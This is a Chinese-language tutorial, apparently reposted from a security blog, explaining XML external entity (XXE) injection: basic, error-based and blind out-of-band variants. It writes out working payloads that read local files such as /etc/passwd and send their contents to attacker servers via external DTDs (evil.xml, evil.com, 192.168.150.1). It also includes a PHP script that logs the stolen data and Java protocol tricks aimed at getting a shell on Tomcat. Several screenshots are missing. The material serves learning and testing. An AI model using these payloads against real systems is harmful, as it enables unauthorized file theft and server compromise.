XML消息中的外部实体发送到应用程序并使用XML解析器解析时,就会发生这种攻击。这个漏洞有许多不同的类型和行为,因为它可能会发生在不同类型的技术中"class="mq-12">—因为不同类型的XML解析器的原因。在这种情况下,令人高兴的是,每个解析器具有不同的"/>

XML注入详解 xxe注入攻击

Posted 锋刃科技

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML注入详解 xxe注入攻击相关的知识,希望对你有一定的参考价值。

### xxe注入攻击

1.XXE攻击概述

XML外部实体(XXE)攻击是许多基于注入的攻击方式之一,当攻击者将声明XML消息中的外部实体发送到应用程序并使用XML解析器解析时,就会发生这种攻击。这个漏洞有许多不同的类型和行为,因为它可能会发生在不同类型的技术中因为不同类型的XML解析器的原因。在这种情况下,令人高兴的是,每个解析器具有不同的功能和特征

在我们开始之前,让我们先认识下可能面临的最常见的XXE漏洞类型了解这些漏洞类型将有助于我们调试攻击并创建最终正确的POC

1.基础的XXE注入— 外部实体注入本地DTD

2.基于盲注的XXE注入—XML解析器在响应中不显示任何错误

3.基于错误的XXE注入成功解析之后,XML解析器始终显示SAME响应。(即您的消息已被接收),因此,我们可能希望解析器将文件的内容打印到错误响应中。


2.基础的XXE注入

按照上一个概述,我们可以通过使用SYSTEM标识符来引用外部实体的数据。所以现在我们可以引入XXE注入的第一种技术,它将外部实体注入到包含引用本地文件路径(如/ etc / passwd)的SYSTEM标识符的XML文档中:


现在让我们做一个更复杂和更严重的攻击:

如果作为通用功能的一部分,应用程序服务器没有作出回应呢?(记得刚刚提到的基于错误的XXE吗?)

如果我们想从其中具有XML特殊字符的外部源读取数据呢?如果在解析过程中解析失败呢?

这时我们可以加载引用我们的远程服务器并尝试从其URL获取内容的辅助外部DTD—这可以是一组字符,或下面的示例转储文件,最重要的是它甚至没有经过XML模式验证过程,因为它在解析器甚至获取远程内容之前发送!

例如,远程DTD文件包含带有SYSTEM标识符和“file”处理程序的参数实体。请注意,参数实体“file”也连接到实体“send”内的URL

解析DTD后,我们得到以下实体:

XML注入详解(二) xxe注入攻击

XML注入详解(二) xxe注入攻击

最终,服务器会尝试以文件内容发送参数“c”所指定的内容,到达我们定义的URL—我们记录该内容,并通过这样做来转储文件的内容:

步骤A

XML注入详解(二) xxe注入攻击


步骤B — 远程DTD正在解析。我们正在窃取文件的内容...

步骤C


我们成功得到文件内容!

用这种技术记住的几件事情:

文件内容中的字符“#”将导致URL截断。

如果我们使用“or”定义参数实体,内容可能会中断。

这取决于我们使用的是哪种(所以请确保在出现错误的情况下同时使用这两种测试场景)。

XML注入详解(二) xxe注入攻击


3.基于错误的XXE注入


有时候,当解析过程成功时,当我们从服务器得到通用的响应时,我们可能希望服务器返回详细错误因此,我们可以使用与远程DTD相同的技术,但会发生故意的错误如:

XML注入详解(二) xxe注入攻击


解析器将尝试解析DTD并访问发送实体中给出的路径,但是由于不能到达“my-evil-domain$$$$ ”,我们将导致以下错误:

XML注入详解(二) xxe注入攻击


然后我们就可以根据信息调试我们自己的payload安全脉搏 https://www.secpulse.com/archives/58915.html

请注意,由服务器响应的任何错误显示哪一行导致解析错误,同时出现语法错误,有时我们可能会使用此信息来调试我们自己的payload,使用“\ n”。例如:

<DOCTYPE Author[ \ n
<
ENTITY %% intentate_error_here“test”>]> \ n

包含payload的两个额外的“\ n”会在第一行“\ n”之后的第2行中出现错误,而其余的XML内容将会显示在第3行。

总之,XXE是一个非常强大的攻击,它允许我们操纵错误的XML解析器并利用它们。请注意,有更多的技术和攻击利用方式可以通过XXE注入完成。如前所述,每个解析器都有不同的能力,因此我们可以提出不同的漏洞:

XML注入详解(二) xxe注入攻击



此表由研究员Timothy Morgan提供这些协议可用于上传文件(jar:// ..),在旧版本Java中允许任意数据通过TCP连接(gopher:// ..),阅读php源代码查看PHP的处理方式。

自己尝试下载我们的演示实验室,可以在这里下载!该演示包含一个带有XML有效载荷的.NET xml解析器和需要的远程DTD文件。

4.基于盲注的XXE注入

1Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

<!ENTITY file SYSTEM “file:///etc/passwd”>  

<username>&file;</username> 

服务器在这个节点中返回etc/passwd的文件内容:

<username>root:1:3.......</username>  

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。

 2)参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

如:

<?xml version="1.0" encoding="UTF-8"?>  

<!DOCTYPE root [  

<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">  

%param1;  

]>  

<root>  

[This is my site] &internal;  

</root> 
但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

IE/Firefox

XML注入详解(二) xxe注入攻击

XML注入详解(二) xxe注入攻击

Chrome

XML注入详解(二) xxe注入攻击

这也是比较蛋疼的特性,因为phpjavaC#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。

3bllind xxe

如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。

Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

<?xml version="1.0"?>

<!DOCTYPE ANY [

    <!ENTITY % hs SYSTEM "file:///C:/1.txt">

    <!ENTITY % remote SYSTEM "http://xxx/xxx.xml">

    %remote;

    %all;

]>

<root>&send;</root>

xxx.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

这里解释下,%remote; 会把外部文件引入到这个 XML 中,%all; 替换为后面的嵌套实体,这时再在 root 节点中引入 send 实体,便可实现数据转发。如果在 xxx.xml  send 实体是参数实体的话,也可以采用下面的形式。

<?xml version="1.0"?>  

<!DOCTYPE ANY[  

<!ENTITY % file SYSTEM "file:///C:/1.txt">  

<!ENTITY % remote SYSTEM "http://xxx/xxx.xml">  

%remote;  

%all;  

%send;  

]>

xxx.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx/x.php?hs=%hs;'>">

l  原理说明

对于传统的XXE来说,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,例如上述方式一。

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band)。

但直接在内部实体定义中引用另一个实体的这种方法行不通

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % param1 "file:///c:/1.txt">

<!ENTITY % param2 "http://127.0.0.1/?%param1">

%param2;

]>

最简单的无非是通过参数实体引用,发送一个http请求到我们服务器,然后观察我们服务的日志

 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://evil.com/blind_xxe_test">

%remote;]>

<root/>

如果在服务日志上能接收到则说明存在漏洞

于是考虑内部实体嵌套的形式:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % param1 "file:///c:/1.txt">

<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">

%param2;

]>

<root>

[This is my site]

</root>

 但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

XML注入详解(二) xxe注入攻击

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

和引入方式三有些雷同,如下:

src.xml

 

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///C:/1.txt">

<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">

%remote;

%all;

]>

<root>&send;</root>•

evil.xml

 

 <!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">•

实体remoteallsend的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。

另外一种方法是使用CDATA,但是并非像wooyun文章说的那样可以读取任意值


l  读任意文件

php://filter/convert.base64-encode/resource=想要读取的文件路径

l  java中的应用

1.file:///可以列目录:

2.OOB:

   gopher1.7u7, 1.6u32以前|7u9 6u37以前 ?),配合nc;其他情况用ftp

3.上传文件:

    需要进行长链接,通过jar协议(jar:http://127.0.0.1:2014/xxe.jar!/

    https://github.com/pwntester/BlockingServer 

4.ftp oob:

jdk 1.6.35 以上,可以读取tomcat-users,如果管理页面不删,版本如果高于前述情况,也应该能读取

 XML注入详解(二) xxe注入攻击

注意:1.6.31以下是不行的,因此结合文件上传和gopher协议来看,基于tomcat成功的getshell,主要因素在于jdk版本,成功的范围很小

5.XML标签及属性值

前提是内部需要设置 factory.setValidating(true)

1:读取属性值

xml文档中的标签属性需通过ATTLIST为其设置属性
语法格式:
<!ATTLIST 
元素名 属性名 属性值类型 默认值>

 <?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE tomcat-users [

<!ELEMENT role EMPTY>

<!ELEMENT user EMPTY>

<!ATTLIST user

 username (a|b) #REQUIRED

 password (a|b) #REQUIRED

>

]>

<tomcat-users>

 <role rolename="tomcat"/>

 <user username="tomcat" password="tomcat" roles="tomcat"/>

</tomcat-users>•

 java Xerces方法的解析结果为(其他解析方式不行):

Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
Error: URI=null Line=10: Element type "tomcat-users" must be declared.
Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".

实际运用时,是没办法解析tomcat-users.xml的文档的,因为会把 XML 声明代入而造成解析出错

2:定义标签顺序报错
具体示例如下:
首先建立DTD文件,文件名:person.dtd
文件内容:

<?xml version="1.0" encoding="utf-8" ?>

<!ELEMENT person (name, sex, birthday)*>

<!ELEMENT name (#PCDATA)>

<!ELEMENT sex (#PCDATA)>

<!ELEMENT birthday (#PCDATA)>•
然后建立两个利用这个dtd文件的xml文件
文件名:person.xml

文件内容:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE person SYSTEM "person.dtd">

<person>

    <name>tom</name>

    <sex>male</sex>

    <birthday>1949-10-01</birthday>

</person>

文件名:worker.xml
文件内容:

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE person SYSTEM "person.dtd">

<person>

    <name>tom</name>

    <sex>male</sex>

    <birthday>1949-10-01</birthday>

    <job>it</job>

</person>•
我们可以看到worker.xml文件不符合dtd的规定,多了一个job的标签。
然后建立java文件
文件名:ValidateXMLDTD.java

 

package xmlvalidate;

import java.io.FileNotFoundException;

import java.io.IOException;

import javax.xml.parsers.DocumentBuilder;

import javax.xml.parsers.DocumentBuilderFactory;

import javax.xml.parsers.ParserConfigurationException;

import org.xml.sax.SAXException;


public class ValidateXMLDTD {

 public static void main(String[] args) {

// System.out.println("测试符合DTD规范的XML文件");

// testPerson();

// System.out.println("测试不符合DTD规范的XML文件");

// testWorkder();

 }

 public static void testPerson() {

 try {

 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

 dbf.setValidating(true);  //这里很重要

 DocumentBuilder db = dbf.newDocumentBuilder();

 db.parse(new java.io.FileInputStream("person.xml"));

 } catch (FileNotFoundException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 } catch (ParserConfigurationException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 } catch (SAXException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 } catch (IOException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 }

 }

 

 public static void testWorkder() {

 try {

 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

 dbf.setValidating(true);

 DocumentBuilder db = dbf.newDocumentBuilder();

 db.parse(new java.io.FileInputStream("worker.xml"));

 } catch (FileNotFoundException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 } catch (ParserConfigurationException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 } catch (SAXException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 } catch (IOException e) {

 // TODO Auto-generated catch block

 e.printStackTrace();

 }

 }

}•

 修改一下main方法中的注释语句,运行一下,执行结果:
运行testPerson的时候,只输出:测试符合DTD规范的XML文件
,而运行testWorker的时候,输入如下内容:测试不符合DTD规范的XML文件
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
set, which is probably not what is desired.  Parser will use a default
ErrorHandler to print the first 10 errors.  Please call
the 'setErrorHandler' method to fix this.
Error: URI=null Line=7: Element type "job" must be declared.
Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*"


 


4)测试

1.php

 

<?php  

file_put_contents("1.txt", $_GET['file']) ;  

?>  

test.php

 

<?php  

$xml=<<<EOF  

<?xml version="1.0"?>  

<!DOCTYPE ANY[  

<!ENTITY % file SYSTEM "file:///C:/passwd.txt">  

<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">  

%remote;  

%all;  

    %send;  

]>  

EOF;  

$data = simplexml_load_string($xml) ;  

echo "<pre>" ;  

print_r($data) ;  

?>  

evil.xml

 

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,然后存在漏洞的服务器会读出file的内容(c:/1.txt),通过带外通道发送给攻击者服务器上的1.php1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

XML注入详解(二) xxe注入攻击

攻击之后1.txt中的数据:

XML注入详解(二) xxe注入攻击

攻击者服务器日志:

XML注入详解(二) xxe注入攻击

5)总结

遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

1)检测XML是否会被解析:

<?xml version=”1.0” encoding=”UTF-8”?> 

 

<!DOCTYPE ANY [ 

 

<!ENTITY shit “this is shit”> 

 

]> 

 

<root>&shit;</root>

如果$shit;变成了”this is shit”,那就继续第二步。

2)检测服务器是否支持外部实体:

<?xml version=”1.0” encoding=”UTF-8”?> 

 

<!DOCTYPE ANY [ 

 

<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

 

%shit; 

 

]>

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xmlHTTP request

3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。

5.XXE的几种外部引入方式

允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

引入外部实体方式有多种,比如:

1)恶意引入外部实体方式一

XML内容:

XML注入详解(二) xxe注入攻击

2)恶意引入外部实体方式二

<!DOCTYPE a [ <!ENTITY %d SYSTEM "http://www.backlion.org/attack.dtd"> %d; ]>

其中attack.dtd的内容为:

<!ENTITY b SYSTEM "file:///etc/passwd">

XML内容:

XML注入详解(二) xxe注入攻击

DTD文件(evil.dtd)内容:

XML注入详解(二) xxe注入攻击

3)恶意引入外部实体方式三

XML内容:

XML注入详解(二) xxe注入攻击

DTD文件(evil.dtd)内容:

XML注入详解(二) xxe注入攻击

 另外,不同程序支持的协议不一样,

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有


关联阅读:


以上是关于XML注入详解 xxe注入攻击的主要内容,如果未能解决你的问题,请参考以下文章

利用XML外部实体注入XXE攻击漏洞

XML (XXE) 注入Payload List

XXE(外部实体注入攻击)

浅谈XML实体注入漏洞

XXE 咖面-六娃

XXE漏洞详解